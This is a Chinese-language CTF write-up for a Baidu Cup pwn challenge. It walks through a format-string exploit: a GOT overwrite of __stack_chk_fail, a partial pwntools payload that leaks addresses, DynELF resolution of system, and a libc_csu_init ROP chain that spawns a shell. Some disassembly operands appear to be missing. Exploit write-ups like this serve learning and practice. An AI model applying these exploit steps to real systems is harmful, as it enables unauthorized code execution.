百度杯 十二月 what_the_fuck

对于这道题，我还真的想说 what_the_fuck ！！

这道题拿到就只发觉一个格式化字符串漏洞，其他的就找不到了 。

 unsigned __int64 sub_4008C5()
 {
   char s; // [rsp+0h] [rbp-20h]
   unsigned __int64 v2; // [rsp+18h] [rbp-8h]

   v2 = __readfsqword(0x28u);
   printf("leave a msg: ");
   memset(&s, , 0x10uLL);
   read(, &s, 0x20uLL);
   if ( strstr(&s, "%p") || strstr(&s, "$p") )
   {
     puts("do you want to leak info?");
     exit();
   }
   printf(&s, "$p"); //漏洞所在
   return __readfsqword(0x28u) ^ v2;
 }

还是找了网上的wp 一边学，一边复现，这里总接下所学的。

看到这些这有一个格式化字符串漏洞，又开启了canary，可以先考虑覆盖__stack_chk_fail指向main，这样就可以利用溢出，无限往栈里写东西。

首先，在ida或者gdb调试中，把name和msg在栈中是第几个参数找出来，在64位的程序中，在64位的文件中，printf传参：现一般规则为， 当参数少于7个时， 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。

 payload=l64(0x601020)                 
 fd.recvuntil('input your name: ')
 fd.send(payload)
 fd.recvuntil('leave a msg: ')
 payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
 payload+='\x00'*(0x18-len(payload))
 payload+=l64(0x601040)

用%.sum$n 往栈里的指针参数写东西时，sum代表的是sum+1个参数。

.got.plt: off_601020 dq offset __stack_chk_fail

got.plt: off_601040 dq offset read ; DATA XREF: _read↑r

%9$s%10$ld  这里输出了第一次main函数的ebp，还有read函数的地址

然后可以构建一个leak函数，利用pwn的DynELF（）找出system函数。这些题目给有给出libc的时候可以考虑下。

这样就知道system和read的地址了，接下来就是构建栈的结构，执行read(0,addr,size)  写入/bin/sh +'\x00'+system, 然后system（/bin/sh）开启shell，关于read的参数 可以利用init里面的

 text:0000000000400A60 loc_400A60:                             ; CODE XREF: init+↓j
 .text:0000000000400A60                 mov     rdx, r13
 .text:0000000000400A63                 mov     rsi, r14
 .text:0000000000400A66                 mov     edi, r15d
 .text:0000000000400A69                 call    qword ptr [r12+rbx*]
 .text:0000000000400A6D                 add     rbx,
 .text:0000000000400A71                 cmp     rbx, rbp
 .text:0000000000400A74                 jnz     short loc_400A60
 .text:0000000000400A76
 .text:0000000000400A76 loc_400A76:                             ; CODE XREF: init+↑j
 .text:0000000000400A76                 add     rsp,
 .text:0000000000400A7A                 pop     rbx
 .text:0000000000400A7B                 pop     rbp
 .text:0000000000400A7C                 pop     r12
 .text:0000000000400A7E                 pop     r13
 .text:0000000000400A80                 pop     r14
 .text:0000000000400A82                 pop     r15
 .text:0000000000400A84                 retn
 .text:0000000000400A84 ; } // starts at 400A20

接下来就是构建栈，

首先在第二次就开始布局，这里就不多说了 https://www.cnblogs.com/shangye/p/6209008.html   这个大佬里面很详细。

下面我只讲一些 在理解的时候出现的问题，就是在执行call的时候会把rip push 进栈中。就是忘了 这个，，搞了大半天。一个个参数调试，烦死了